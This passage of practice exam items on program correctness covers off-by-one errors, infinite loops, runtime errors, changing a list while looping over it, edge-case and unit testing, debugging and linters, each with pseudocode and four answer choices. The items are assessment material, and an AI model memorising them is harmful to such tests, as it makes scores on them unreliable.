12 int[] tuesday = [20, 22, 21, 24, 26]
13 output(first_jump(monday))
14 output(first_jump(tuesday))
```

Which statement best describes the program's output?

A. `3` is displayed for Monday and `-1` for Tuesday, because the condition `i < n` keeps every position that the loop reads inside the array.

B. `3` is displayed for Monday, and the program then stops with `ERROR` while examining Tuesday, whose readings contain no large jump at all.

C. `3` is displayed for Monday and `5` for Tuesday, because a position past the end holds `0`, so the last comparison finds a large drop.

D. The program stops with `ERROR` before displaying anything, because the very first call reads one position past the final Monday reading.

Answer: page 1016

0002.n.2.5

A library's sign-in program should display the number of visitors and then list their names with the most recent visitor first. Names are added to the array as visitors arrive, so the most recent visitor is at the end. The version below displays `4` and then stops with an error message. Which replacement for line 07 makes the program display the number of visitors followed by `"Dev"`, `"Cho"`, `"Ben"`, and `"Ana"`?

```
01 /* Show a library's sign-in list with the most recent visitor */
02 /* first, after the number of visitors. */
03 String[] visitors = ["Ana", "Ben", "Cho", "Dev"]
04 int count = visitors.size[1]
05 output(count)
06
07 for (int i = count; i >= 1; i = i - 1)
08   output(visitors[i])
```

A. `for (int i = count - 1; i >= 0; i = i - 1)`

B. `for (int i = 0; i <= count - 1; i = i + 1)`

C. `for (int i = count; i >= 0; i = i - 1)`

D. `for (int i = count - 1; i >= 1; i = i - 1)`

Answer: page 1016

Infinite loops

0002.n.3.1

An online shop offers free shipping on orders of at least 35 dollars. An assistant writes the program below to report how many of a week's orders qualify, the sum of those orders, and the percentage of all orders that qualify, and then runs it on the seven orders shown. Which statement best describes what happens when the program runs?

```
01 /* Report how many of a week's orders qualify for free shipping */
02 /* (a total of at least 35 dollars), the sum of those orders, */
03 /* and the share of all orders that qualify, as a percentage. */
04 int[] orders = [42, 18, 35, 60, 12, 27, 50]
05 int threshold = 35
06 int qualifying = 0
```

```
07 int qualifying_sum = 0
08 int i = 0
09
10 while (i < orders.size[1])
11   if (orders[i] >= threshold)
12     qualifying = qualifying + 1
13     qualifying_sum = qualifying_sum + orders[i]
14     i = i + 1
15
16 int percent = qualifying * 100 / orders.size[1]
17 output(qualifying)
18 output(qualifying_sum)
19 output(percent)
```

A. Nothing is ever displayed, because once the loop reaches the 18-dollar order, no statement that runs changes `i`, so the condition stays true.

B. The program displays `4`, `187`, and `57`, because the update to `i` runs once for each order in the week, whether or not that order qualifies.

C. The program displays `4` and `187` and then stops with an error message, because `i` moves past the final position in `orders`.

D. The program displays `1`, `42`, and `14`, because a `while` loop ends as soon as the `if` statement in its block finds a false condition.

Answer: page 1016

0002.n.3.2

A physical education teacher wants a program that calls out the seconds remaining in a drill in steps of 10, starting from 25, and then displays `"Go"`. The version below displays `25`, `15`, `5`, `−5`, `−15`, and further values until the teacher stops it by hand. Which replacement for line 02 makes the program display `25`, `15`, and `5`, followed by `"Go"`?

```
01 int seconds = 25
02 while (seconds != 0)
03   output(seconds)
04   seconds = seconds - 10
05 output("Go")
```

A. `while (seconds != 5)`

B. `while (seconds > 0)`

C. `while (seconds < 0)`

D. `while (seconds != 0 OR seconds > 0)`

Answer: page 1016

0002.n.3.3

A student writes the program below to estimate how many months it will take to repay a loan of 1200 dollars, with a payment of 150 dollars each month and 10 dollars of interest added each month. When the student runs it, the program displays nothing and does not finish until it is stopped by hand. Which statement identifies the cause of this behavior?

```
01 /* Estimate the months needed to repay a loan of 1200 dollars, */
02 /* paying 150 dollars a month, with 10 dollars of interest */
03 /* added to the balance each month. */
04 int balance = 1200
05 int payment = 150
06 int interest = 10
07 int months = 0
08
09 while (balance > 0)
10   balance = balance + interest
11   balance = balance + payment
12   months = months + 1
13
14 output(months)
```

A. `balance = balance + payment` moves `balance` away from `0` on every pass, so the condition `balance > 0` can never become false.

B. `int months = 0` comes before the loop, so the count of months is set back to `0` each time the loop's condition is tested.

C. `balance = balance + interest` runs before the payment is applied, so the interest always leaves more owing than a single payment can cover.

D. `while (balance > 0)` should be `while (balance >= 0)`, because a balance that reaches exactly `0` keeps a `>` condition true forever.

Answer: page 1016

0002.n.3.4

An environmental science class models a pond's fish population, which starts at 400 and grows by 20 percent each year. A student writes the program below to display each year's population and then the first year in which the population reaches at least 1000. Which statement best describes what happens when the program runs?

```
01 /* Simulate a population of fish that grows by 20 percent each */
02 /* year, and report the first year in which it reaches 1000. */
03 int population = 400
04 int target = 1000
05 int year = 0
06 int next = population
07
```

```
08 while (population < target)
09   next = next + next * 20 / 100
10   year = year + 1
11   output(year)
12   output(next)
13
14 output(year)
```

A. The program stops with `ERROR` once `next * 20 / 100` first produces a value with a decimal part, which an `int` is unable to hold.

B. Nothing is displayed and the program does not finish, because a loop that runs without end holds back the outputs inside its block.

C. Yearly values are displayed without end, because the condition tests `population`, which no statement in the loop's block ever changes.

D. Six years of values are displayed, followed by `6`, because the population first reaches at least 1000 in the sixth year of the simulation.

Answer: page 1016

0002.n.3.5

A teacher asks students to complete the program below so that it displays the even numbers from 2 through 10 and then a closing message. Students propose four versions of lines 03-05. Which version would keep the program from ever displaying the closing message?

```
01 /* Display the even numbers from 2 through 10, then a summary. */
02 int n = 2
03
04
05
06 output("All even numbers listed")
```

A.

```
while (n != 11)
  output(n)
  n = n + 2
```

B.

```
for (int k = n; k <= 10; k = k + 2)
  output(k)
  n = n + 1
```

C.

```
while (n < 11)
  output(n)
  n = n + 2
```

D.

```
while (n <= 10)
  n = n + 2
  output(n)
```

Answer: page 1016

Common runtime errors

0002.n.4.1

A student writes the program below for a school calendar display. A user enters a month number from 1 through 12, and the program displays the abbreviated name of that month and of the month that follows it. The student tests the program with the inputs `3`, `7`, `0`, and `13`, and each test gives the intended result. Which statement best describes what happens when a user enters `12`?

```
01 /* Display a month's name and the name of the following month, */
02 /* for a month number from 1 through 12 entered by a user. */
03 String[] names = ["Jan", "Feb", "Mar", "Apr", "May", "Jun",
04                   "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
05 int month = input()
06
07 if ((month >= 1) AND (month <= 12))
08   output(concat("This month: ", names[month - 1]))
09   output(concat("Next month: ", names[month]))
10 else
11   output("Please enter a number from 1 through 12.")
```

A. The request for a number from 1 through 12 is displayed, because the value `12` fails the check that guards the two output statements.

B. The lines for `"Dec"` and `"Jan"` are displayed, because reading a position past the end of an array continues again from the array's first position.

C. The program stops with `ERROR` before displaying anything, because the invalid position in the second output is detected as soon as the `if` block begins.

D. The line for `"Dec"` is displayed, and the program then stops with `ERROR`, because the next month's name is read from a position past the end of `names`.

Answer: page 1016

0002.n.4.2

A school librarian tracks how many books each member of five reading clubs has read this term. A student writes the function below to report each club's average, and calls it once for each club. The robotics club was formed last week and has no members yet. Which output would the program produce?

```
01 /* Report the average number of books read by the members of */
02 /* each reading club this term. */
03 function average(int[] counts)
04   int total = 0
05   for (int i = 0; i < counts.size[1]; i = i + 1)
06     total = total + counts[i]
07   return total / counts.size[1]
08
09 int[] chess = [4, 6, 8]
10 int[] drama = [5, 9]
11 int[] science = [7, 3, 2, 4]
12 int[] robotics = []
13 int[] poetry = [10, 2, 6]
14
15 output(average(chess))
16 output(average(drama))
17 output(average(science))
18 output(average(robotics))
19 output(average(poetry))
```

A.

```
>>> 6
>>> 7
>>> 4
>>> ERROR
>>> 6
```

B.

```
>>> 6
>>> 7
>>> 4
>>> 6
```

C.

```
>>> 6
>>> 7
>>> 4
>>> ERROR
```

D.

```
>>> 6
>>> 7
>>> 4
>>> 0
>>> 6
```

Answer: page 1016

0002.n.4.3

A school store keeps its stock in a map, with the name of each item as a key and the number on hand as its value. The lines below record the sale of one item, whose name is typed by the clerk. A new clerk types the name with a capital letter, so the program reads the `String` value `"Pencil"`. Which statement best describes what happens?

```
01 String int{} stock = {"pencil": 40, "eraser": 25, "ruler": 12}
02 String item = input()
03 int remaining = stock{item} - 1
04 output(remaining)
```

A. The program displays `-1`, because a key that is missing from a map is treated as having the value `0` until one is assigned.

B. The program adds `"Pencil"` to `stock` with the value `0` and then displays `-1`, because reading a missing key creates that key.

C. The program stops with `ERROR`, because no key in `stock` is exactly `"Pencil"`, so the value read from the map is undefined.

D. The program displays `39`, because a map matches its keys without regard to whether their letters are capitals or lowercase.

Answer: page 1016

0002.n.4.4

A theater's seating program stores the people in one row of seats in an array. The function below should return the person at a given position in the row, or `"empty"` for a position that is not part of the row, so that a mistyped position never stops the program. The calls on lines 09-12 should display `"Kim"`, `"Ng"`, `"empty"`, and `"empty"`. Which condition, placed on line 04, completes the function as intended?

```
01 /* Return the person at a position in a row, or "empty" for a */
02 /* position that is not part of the row. */
03 function holder(String[] row, int pos)
04   /* check the position here */
05     return row[pos]
06   return "empty"
07
08 String[] row_a = ["Kim", "Lee", "Mo", "Ng"]
09 output(holder(row_a, 0))
10 output(holder(row_a, 3))
11 output(holder(row_a, 4))
12 output(holder(row_a, -1))
```

A. `if ((pos >= 0) AND (pos < row.size[1]))`

B. `if ((pos >= 0) AND (pos <= row.size[1]))`

C. `if ((pos >= 0) OR (pos < row.size[1]))`

D. `if ((pos > 0) AND (pos < row.size[1]))`

Answer: page 1016

0002.n.4.5

A club's sign-up page sends every field of a completed form to the program below as text. A student writes the lines that decide whether a new member may join without a parent's approval, which requires an age of at least 13. A 15-year-old named Rio submits the form. Which statement best describes what happens when the program runs?

```
01 /* Decide whether a new member may join without a parent's */
02 /* approval. Every field of the form arrives as text. */
03 String String{} form = {"name": "Rio", "age": "15", "grade": "10"}
04 int min_age = 13
05
06 if (form{"name"} == "")
07   output("A name is required.")
08 elseif (form{"age"} >= min_age)
09   output(concat("Welcome, ", form{"name"}))
10 else
11   output("A parent's approval is required.")
```

A. The program displays the message about a parent's approval, because any text value counts as smaller than any number in a comparison.

B. The program displays the welcome for Rio, because the text `"15"` is converted to the number `15` when it is compared with a number.

C. The program stops with `ERROR` at the name check, because `==` cannot compare a value read from a map with a value written in quotation marks.

D. The program stops with `ERROR` at the age check, because `>=` is defined only for two numbers of the same type, and the age is held as text.

Answer: page 1016

Changing a list during iteration

0002.n.5.1

A teacher's practice set lists problems by number. Each review problem, whose number is a multiple of 5, should appear a second time at the end of the set, so that students meet it twice. A student writes the program below to add those copies and then display the new size of the set, which should be `8`. Which statement best describes what happens when the program runs?

```
01 /* A practice set lists problem numbers. Every review problem, */
02 /* whose number is a multiple of 5, should be repeated once at */
```

```
03 /* the end of the set so that students see it a second time. */
04 int[] practice = [3, 5, 8, 12, 15, 17]
05 int i = 0
06 while (i < practice.size[1])
07   if (practice[i] % 5 == 0)
08     practice.append(practice[i])
09   i = i + 1
10
11 output(practice.size[1])
```

A. No size is ever displayed, because each copied review problem is examined again when the loop reaches it and is copied once more.

B. The program displays `6`, because values appended to an array inside a loop are added only after the loop has finished.

C. The program stops with `ERROR`, because `i` eventually passes the final position that `practice` had when it was first declared.

D. The program displays `8`, because the condition compares `i` with the size that `practice` had at the moment the loop first began.

Answer: page 1017

0002.n.5.2

A teacher wants to keep each original quiz score and add a curved copy of each one, 5 points higher, at the end of the same array, so that the array holds the four original scores followed by the four curved scores. The version below never finishes. Which replacement for lines 05-06 makes the program display `[70,82,64,91,75,87,69,96]`?

```
01 /* Keep each original quiz score and add a curved copy, 5 points */
02 /* higher, at the end of the same array. */
03 int[] scores = [70, 82, 64, 91]
04
05 for (int i = 0; i < scores.size[1]; i = i + 1)
06   scores.append(scores[i] + 5)
07
08 output(scores)
```

A.

```
for (int i = 0; i < scores.size[1]; i = i + 2)
  scores.append(scores[i] + 5)
```

B.

```
for (int i = 0; i < scores.size[1]; i = i + 1)
  int count = scores.size[1]
  scores.append(scores[i] + 5)
```

C.

```
for (int i = 0; i <= scores.size[1] - 1; i = i + 1)
  scores.append(scores[i] + 5)
```

D.

```
int count = scores.size[1]
for (int i = 0; i < count; i = i + 1)
  scores.append(scores[i] + 5)
```

Answer: page 1017

0002.n.5.3

A student's writing app records the status of each of five saved documents in an array. Before the finished documents are shared, the student writes the lines below to remove every `"draft"` from the array, but the program displays `["final","draft","final"]`. Which statement best explains why one `"draft"` remains?

```
01 String[] status = ["draft", "final", "draft", "draft", "final"]
02 for (int i = 0; i < status.size[1]; i = i + 1)
03   if (status[i] == "draft")
04     status.del(i)
05 output(status)
```

A. The loop's condition uses the size that the array had when the loop began, so it stops before reaching the values at the end.

B. After a deletion, the next value shifts into the deleted position, and the loop then moves past that position without examining it.

C. The `.del` method removes the first copy of a value that it finds, so later copies of `"draft"` are left in place.

D. The comparison == is unreliable for text values, so some copies of `"draft"` fail the test even though the two values are equal.

Answer: page 1017

0002.n.5.4

A weather station's sensor records `-99` whenever a reading fails. A student writes the program below to remove those error codes before the remaining temperatures are averaged, but the program displays `[4,-99,7,3]`. Which replacement for line 05 makes the program remove every error code and display `[4,7,3]`?

```
01 /* Remove the error code -99, which a weather sensor records */
02 /* when a reading fails, and report the valid temperatures. */
03 int[] readings = [-99, 4, -99, -99, 7, 3]
04
```

```
05 for (int i = 0; i < readings.size[1]; i = i + 1)
06   if (readings[i] == -99)
07     readings.del(i)
08
09 output(readings)
```

A. `for (int i = readings.size[1] - 1; i >= 0; i = i - 1)`

B. `for (int i = 0; i <= readings.size[1] - 1; i = i + 1)`

C. `for (int i = readings.size[1] - 1; i > 0; i = i - 1)`

D. `for (int i = readings.size[1]; i >= 0; i = i - 1)`

Answer: page 1017

0002.n.5.5

A student writes the program below to break long study tasks into sessions of at most 30 minutes, and adds a counter, `passes`, to record how many times the loop's block runs. Before the program is run, a classmate is asked to predict the first value that it will display. Which prediction is correct?

```
01 /* Break each study task longer than 30 minutes into sessions of */
02 /* at most 30 minutes. A long task keeps its first 30 minutes in */
03 /* place, and the minutes left over are added at the end of the */
04 /* plan as a new session. */
05 int[] minutes = [20, 75, 25, 100]
06 int passes = 0
07 int i = 0
08
09 while (i < minutes.size[1])
10   passes = passes + 1
11   if (minutes[i] > 30)
12     int rest = minutes[i] - 30
13     minutes[i] = 30
14     minutes.append(rest)
15   i = i + 1
16
17 output(passes)
18 output(minutes)
```

A. `6`, because the loop examines the sessions added for the original four tasks but stops before the sessions added after those.

B. No value, because a loop that adds to the array that it is examining keeps finding new values and does not finish.

C. `4`, because the condition compares `i` with the size that the array had when the loop began, before sessions were added.

D. `9`, because each session added at the end is examined by the same loop, and some of the added sessions are split again.

Answer: page 1017

Boundary and edge case testing

0002.n.6.1

A museum's ticket program charges by age, as described in the comment at the top of the program below. A student tests the function with one typical age from each group and with one invalid age, and all four results match the museum's price list. The museum asks for further tests before the program is used at the front desk. Which additional set of ages is most likely to reveal a defect in the function?

```
01 /* Return the ticket price for a visitor's age. Children aged 12 */
02 /* and under pay 8 dollars, visitors aged 13 through 64 pay 15 */
03 /* dollars, and visitors aged 65 and over pay 10 dollars. A */
04 /* negative age is invalid and returns -1. */
05 function price(int age)
06   if (age < 0)
07     return -1
08   elseif (age < 12)
09     return 8
10   elseif (age < 65)
11     return 15
12   else
13     return 10
14
15 /* The student's tests: one typical age from each group. */
16 output(price(5))
17 output(price(30))
18 output(price(70))
19 output(price(-4))
```

A. the ages `8`, `25`, `40`, and `80`, which add a second typical visitor to each group in the museum's price list

B. the ages `12`, `13`, `64`, and `65`, which lie on either side of each limit at which the price changes

C. the ages `0`, `100`, `110`, and `120`, which lie at the extremes of the ages that a visitor could have

D. the ages `-1`, `-10`, `-50`, and `-100`, which check that the function rejects invalid ages of several sizes

Answer: page 1017

0002.n.6.2

A school's sign-up form requires a password of 8 through 64 characters, and it should reject any other length with a clear message. A tester has already confirmed that a password of 20 characters is accepted. Which additional set of test passwords makes the most complete plan for checking the length rule?

A. passwords of 10, 30, 50, and 60 characters, chosen to spread evenly across the whole accepted range

B. passwords of 7, 8, 64, and 65 characters, along with an entry submitted with no characters in it at all

C. passwords of exactly 8 and exactly 64 characters, since those are the two lengths that the rule itself names

D. passwords of 1 and 1,000 characters, which lie far outside the accepted range on either side of it

Answer: page 1017

0002.n.6.3

A student writes the function below for a weather club, which uses it to report the highest temperature, in degrees Celsius, in a list of readings. The student's two tests, shown below the function, give the expected results of `25` and `30`. Which additional test is most likely to reveal a defect in the function?

```
01 /* Return the highest temperature in a list of readings. */
02 function highest(int[] temps)
03   int best = 0
04   for (int i = 0; i < temps.size[1]; i = i + 1)
05     if (temps[i] > best)
06       best = temps[i]
07   return best
08
09 int[] spring = [18, 25, 21]
10 int[] summer = [30, 12, 7, 29]
11 output(highest(spring))
12 output(highest(summer))
```

A. a list in which every reading is the same, `[14, 14, 14]`, so that no reading is higher than another

B. a list from a week of winter readings, `[-8, -3, -12]`, in which every one of the temperatures is below zero

C. a list holding a single reading, `[16]`, so that the loop's block runs only once before the function returns

D. a list in which the highest reading comes first, `[25, 18, 21]`, rather than in the middle of the list

Answer: page 1017

0002.n.6.4

A shipping company's function sets a parcel's rate from its weight, and the rate changes at exactly 1 kilogram and at exactly 5 kilograms. A developer generates 200 random weights between 0.1 and 20 kilograms, and the function gives the correct rate for every one of them. Which conclusion about the function is best supported?

A. It may still give a wrong rate at or just beyond a limit where the rate changes, since random weights seldom fall on such limits.

B. It is correct across the range, since 200 passing tests sample enough of it to include each kind of parcel it will receive.

C. Its results should not be trusted until the same 200 tests are repeated on a second computer and give the same rates there.

D. Its limits need no separate tests, since a weight at a limit lies inside the range from which the random weights were drawn.

Answer: page 1017

0002.n.6.5

A student writes the function below for a writing app, which displays the number of words in a sentence typed by the user. The app's instructions tell users to separate words with single spaces. The student's two tests give the expected results of `3` and `1`. Which further test is most likely to reveal a defect in the function?

```
01 /* Count the words in a sentence typed by a user, where words */
02 /* are separated by single spaces. */
03 function word_count(String text)
04   int spaces = 0
05   for (int i = 0; i < text.len; i = i + 1)
06     if (text.sub(i, i) == " ")
07       spaces = spaces + 1
08   return spaces + 1
09
10 String a = "Plants need light"
11 String b = "Water"
12 output(word_count(a))
13 output(word_count(b))
```

A. submitting a sentence that ends with punctuation, `"Plants need light!"`, which adds a character that is not a letter

B. submitting a sentence that contains digits, `"Room 204 opens"`, which mixes numbers with words in the entry

C. submitting a sentence of twelve words, which checks whether the count stays correct for a larger number of words

D. submitting an entry, "", in which the user has typed nothing at all before asking the app for the count of words

Answer: page 1017

Unit testing

0002.n.7.1

A library's programmer writes the function on lines 01-07 to compute the fine for a late book, where `days` is the number of days after the due date, so that a negative value means the book came back early. The programmer then adds lines 09-18, and running the program displays `-2` and then `1`. Which statement best describes lines 09-18 and what their output shows?

```
01 /* Library fine: 2 dollars for each day late, never more than */
02 /* 20 dollars, and nothing for a book returned by its due date. */
03 function late_fee(int days)
04   int fee = days * 2
05   if (fee > 20)
06     fee = 20
07   return fee
08
09 /* Compare late_fee with results worked out by hand. */
10 int[] days = [0, 3, 10, 11, 40, -2]
11 int[] expected = [0, 6, 20, 20, 20, 0]
12 int failures = 0
13 for (int t = 0; t < days.size[1]; t = t + 1)
14   int actual = late_fee(days[t])
15   if (actual != expected[t])
16     output(days[t])
17     failures = failures + 1
18 output(failures)
```

A. They check that the whole library system works together, and the output shows the number of places where two parts of the system disagreed.

B. They examine the function's source code without running it, and the output lists the inputs whose lines break the library's rules for style.

C. They measure how quickly the function runs for inputs of increasing size, and the output shows that one input took longer than the time allowed.

D. They check the function automatically against results worked out in advance, and the output shows that only a return 2 days early gave an unexpected fine.

Answer: page 1017

0002.n.7.2

A running club's program reports a runner's pace, in seconds per kilometer. The club wants an automatic check that runs the pace calculation on many pairs of times and distances, compares each result with a pace worked out by hand, and reports any that differ, with no one typing values while the check runs. Which change would most directly suit the function below to this kind of check?

```
01 /* Report a runner's pace in seconds per kilometer. */
02 function report_pace()
03   int seconds = input()
04   int km = input()
05   int pace = seconds / km
06   output(pace)
07
08 report_pace()
```

A. rewriting the function to take the time and the distance as parameters and return the pace, leaving input and output to the code that calls it

B. declaring `seconds`, `km`, and `pace` outside the function, so that a check can read all three values after the function has finished

C. adding a comment above the function that states the formula and gives one example of an input and the pace that should result from it

D. placing the call to `report_pace()` inside a loop, so that a tester can type many pairs of values during a single run of the program

Answer: page 1017

0002.n.7.3

A student writes the function below to compute the area of a rectangular garden bed, in square meters, along with a check that compares one result with a value that the student wrote down in advance. Which statement best describes what happens when the program runs, and what its output shows?

```
01 function area(int width, int length)
02   return width * length
03 if (area(4, 5) == 18)
04   output("pass")
05 else
06   output("fail")
```

A. It displays `"fail"`, which shows that the function must be corrected, since a check that fails points to a defect in the code that it checks.

B. It displays `"fail"`, even though the function is correct, because the expected value of `18` in the check is not the area of the bed.

C. It displays `"pass"`, because the check calls the function and confirms that it returns a value without stopping with an error.

D. It stops with `ERROR`, because the result of a function call is not allowed to be compared with a number inside the condition of an `if` statement.

Answer: page 1018

0002.n.7.4

A student's grade calculator once reported an average of `0` for a class whose scores included a blank entry. The student finds and fixes the fault, and the calculator now handles that class correctly. The student expects to keep changing the calculator for the rest of the term. Which step would best ensure that this fault does not quietly return after a later change?

A. reading through the whole calculator once more before each release, looking for any line that resembles the original fault

B. adding a comment beside the corrected lines that explains what went wrong, so that anyone changing them later knows what to avoid

C. running the calculator after each change on a typical class, to confirm that its averages still look reasonable

D. adding an automatic check that runs the calculator on a class with a blank entry and compares the result with the correct average

Answer: page 1018

0002.n.7.5

A team's checkout program has two functions written by different members. One function returns an item's price in cents, and the other expects a price in dollars when it adds tax. Each member's automatic checks of that member's function pass, but the receipt charges tax as though a 4.50-dollar item cost 450 dollars. Which statement best explains why the passing checks did not catch the fault?

A. Each check ran one function on its own, so none of them could reveal a mismatch in the values that the two functions pass to each other.

B. The checks compared results with values worked out by hand, and such values are less reliable than the results the program produces.

C. The checks must have used too few inputs, since checks with enough inputs on each function would have revealed the mismatch.

D. The checks ran the code without reading it, and a tool that reads source code without running it is the way to find values in mismatched units.

Answer: page 1018

Systematic debugging

0002.n.8.1

A teacher's grading program averages a student's quiz scores after dropping the lowest one. For the scores on line 14, the four scores that remain average 8.25, so the program should display `8`, but it displays `7`. The student who wrote the program adds line 11 and runs it again, and it now displays `33` and then `7`. Which conclusion is best supported by this output?

```
01 /* Average a student's quiz scores after dropping the lowest. */
02 function drop_lowest_average(int[] scores)
03   int low = scores[0]
04   for (int i = 1; i < scores.size[1]; i = i + 1)
05     if (scores[i] < low)
06       low = scores[i]
07   int total = 0
08   for (int i = 0; i < scores.size[1]; i = i + 1)
09     total = total + scores[i]
10   total = total - low
11   output(total)
12   return total / scores.size[1]
13
14 int[] quiz = [6, 9, 10, 2, 8]
15 output(drop_lowest_average(quiz))
```

A. The loop that finds the lowest score most likely holds the fault, since first loops are where off-by-one errors usually occur.

B. A correct value partway through a function says nothing about the earlier steps, so both loops must be examined again.

C. The added output statement has changed the returned value, so the program must be rerun without it before anything is concluded.

D. The steps before the added check work correctly for these scores, so the fault lies in a step that follows the check.

Answer: page 1018

0002.n.8.2

A student's function returned `TRUE` for the year 1900, which was not a leap year. The student changes the condition on line 05 to the one shown below, and line 09 now displays `FALSE`, as expected. Before the change, the function had given correct results for the years 2024 and 2000. Which step would best complete this round of debugging?

```
01 /* Return TRUE for a leap year. A year divisible by 4 is a leap */
02 /* year, except that a year divisible by 100 is not, unless it is */
03 /* also divisible by 400. */
04 function is_leap(int year)
```

```
05   if ((year % 4 == 0) AND (year % 100 != 0))
06     return TRUE
07   return FALSE
08
09 output(is_leap(1900))
```

A. adding a comment above the changed condition that explains how century years are now handled, for later readers

B. running a linter on the function, since a changed condition that draws no warning gives correct results for the years that the function will receive

C. rerunning the earlier tests, including 2024 and 2000, to confirm that the change broke no case that passed before it

D. running the function on 1900 several more times, to confirm that it returns `FALSE` each time

Answer: page 1018

0002.n.8.3

Several teachers report that a school's attendance app occasionally shows a blank screen when they submit the day's attendance. A developer has submitted attendance many times on a test account without ever seeing the blank screen. Which step should the developer most appropriately take next?

A. rewriting the submission feature with a different library, since new code is unlikely to repeat the same fault

B. gathering the exact steps, data, and devices of the teachers who saw the blank screen, to make it happen on demand

C. closing the reports, since a failure that never appears on a test account most likely comes from the teachers' own devices

D. changing the code most likely at fault and releasing an update, then asking teachers whether the screen still appears

Answer: page 1018

0002.n.8.4

A student's bake sale program gives the wrong change for some purchases. Without running the program between edits, the student renames two variables, rewrites the step that rounds prices, and moves the line that applies a discount. The purchase that first revealed the fault now gives the correct change. Which statement best describes what the student can conclude?

A. The three edits must stay together, since undoing one of them would return the program to its original fault.

B. It is unclear which edit corrected the fault, or whether another edit introduced a fault that this purchase does not reveal.

C. The fault is now corrected for the purchases that the program will see, since the purchase that first revealed it gives the correct change after the edits.

D. The renamed variables most likely corrected the fault, since unclear names are the most common cause of a program's incorrect results.

Answer: page 1018

0002.n.8.5

A student writes the function below for a quiz game, in which a correct answer that follows another correct answer earns bonus points. For the answers on line 18, the function should return `35`, but the program displays `30`. Suspecting that the loop stops one pass early and never examines the last answer, the student adds line 09 and runs the program again. It displays `0`, `1`, `2`, `3`, and then `30`. Which conclusion is best supported?

```
01 /* A quiz game awards 10 points for each correct answer and 5 */
02 /* bonus points for each correct answer that follows another */
03 /* correct answer. The results array holds TRUE for a correct */
04 /* answer and FALSE for an incorrect one. */
05 function score(bool[] results)
06   int points = 0
07   bool streak = FALSE
08   for (int i = 0; i < results.size[1]; i = i + 1)
09     output(i)
10     if (results[i])
11       points = points + 10
12       if (streak)
13         points = points + 5
14       streak = TRUE
15     streak = FALSE
16   return points
17
18 bool[] game = [TRUE, TRUE, FALSE, TRUE]
19 output(score(game))
```

A. The loop stops one pass early, as suspected, since the counter never reaches `4`, so `<` should become `<=`.

B. The fault cannot be located from this output, so the function should be rewritten from the beginning in a simpler form.

C. The added output statement has changed how the loop behaves, so the counter values cannot serve as evidence.

D. The loop examines all four answers, so the suspicion is refuted, and a new explanation should

be sought in the loop's block.

Answer: page 1018

Static analysis and linters

0002.n.9.1

A student writes the function below for a parking garage, along with the four tests shown, and all four tests display the fees that the student expected. The student then runs a linter, a tool that examines a program's source code without running it. Which problem in the program is the linter most likely to report?

```
01 /* A parking garage charges 3 dollars for each hour, with a */
02 /* daily maximum of 20 dollars. Vehicles with a resident */
03 /* permit park free, and an electric vehicle that uses a */
04 /* charging space pays an extra 4 dollars. */
05 function parking_fee(int hours, bool permit, bool charging)
06   if (permit)
07     return 0
08   int fee = hours * 3
09   if (fee > 20)
10     fee = 20
11   if (charging)
12     fee = fees + 4
13   return fee
14
15 /* The student's tests */
16 output(parking_fee(2, FALSE, FALSE))
17 output(parking_fee(9, FALSE, FALSE))
18 output(parking_fee(5, TRUE, FALSE))
19 output(parking_fee(0, FALSE, FALSE))
```

A. the name `fees` in the charging step, which is read although no variable by that name is ever declared

B. the daily maximum, which is applied before the charging fee and so allows a fee above 20 dollars

C. the four tests, none of which uses a charging space, so that one branch of the function never runs

D. a negative number of hours, which a user could enter by mistake and which would produce a negative fee

Answer: page 1018

0002.n.9.2

A student's program, shown below, displays the area of a rectangular poster in square centimeters, and the result is correct. A linter nonetheless reports one warning about the program. Which issue does the warning most likely concern?

```
01 int width = 60
02 int height = 90
03 int depth = 2
04 output(width * height)
```

A. `int`, which cannot hold a poster's measurements in fractions of a centimeter

B. `depth`, which is given a value that the program never reads

C. `width * height`, which may not be the area that the student intended

D. `output`, which produces `ERROR` because its argument is not a variable

Answer: page 1018

0002.n.9.3

A teacher's program, shown below, reads the quiz scores of two class periods and reports each period's average. A linter examines the program and reports no warnings. When the teacher runs it, the program displays `8` for the first period and then `ERROR`, because no scores have yet been entered for the second period. Which statement best explains why the linter did not report this problem?

```
01 /* Report the average quiz score of each class period. */
02 function average(int[] scores)
03   int total = 0
04   for (int i = 0; i < scores.size[1]; i = i + 1)
05     total = total + scores[i]
06   return total / scores.size[1]
07
08 int[] period1 = input()
09 int[] period2 = input()
10 output(average(period1))
11 output(average(period2))
```

A. The linter ran before any scores were entered, and running it after the program ended would have caught the problem.

B. The failure depends on how many scores are entered at run time, which a tool reading only source code cannot know.

C. A linter reports only syntax errors, and the division in the function follows every rule for writing an expression correctly.

D. A linter examines only the code that runs most often, and the function's division runs only once for each class period.

Answer: page 1018

0002.n.9.4

A computer science teacher receives about 120 short programs from students each week. Within seconds of each submission, and before any program is run, the teacher wants each student to see the names used without being declared, the variables declared but never used, and the lines that break the course's formatting rules. Which tool most directly meets this need?

A. a version control system that records each submission and shows which lines changed since the previous week

B. a debugger that pauses each submission at chosen lines so that its variables can be inspected step by step

C. a linter that reads each submission's source code and lists every problem it finds, with its location

D. unit tests that call each student's functions with chosen inputs and compare the results with expected values

Answer: page 1018

0002.n.9.5

A team's linter reports no warnings on the team's new program, which builds a weekly schedule of tutoring sessions. One member argues that the program therefore needs no further testing before the school starts using it. Which response is most accurate?

A. The linter's silence shows that no input can make the program fail, so testing need only check how fast schedules are built.

B. The linter can rule out problems such as undeclared names, but only running the program can show whether its schedules are correct.

C. The linter should be run again on another computer, since its warnings depend on the machine where the program will run.

D. The linter checks only formatting, so its silence says nothing about the code, and the team should rely on tests alone.

Answer: page 1019

0002.o Performance, readability, and documentation

Read about this in the content summary: 0002.o, page 95.

Readable names

0002.o.1.1

A school district's attendance office uses the program below. Each array holds the number of minutes that each student arrived after the start of the school day, with `0` for a student who was on time. A new staff member reads the program and reports that late arrivals on Monday totaled 3 minutes, although they totaled 47 minutes. The output is what the program's author intended.

```
01 function total_late(int[] minutes)
02   int n = 0
03   for (int i = 0; i < minutes.size[1]; i = i + 1)
04     if (minutes[i] > 0)
05       n = n + 1
06   return n
07
08 function longest_wait(int[] minutes)
09   int longest = 0
10   for (int i = 0; i < minutes.size[1]; i = i + 1)
11     if (minutes[i] > longest)
12       longest = minutes[i]
13   return longest
14
15 int[] monday = [0, 12, 5, 0, 30]
16 int[] tuesday = [4, 0, 0, 9, 0]
17 output(total_late(monday))
18 output(longest_wait(monday))
19 output(total_late(tuesday))
20 output(longest_wait(tuesday))
```

Which revision most directly removes the cause of the staff member's mistake?

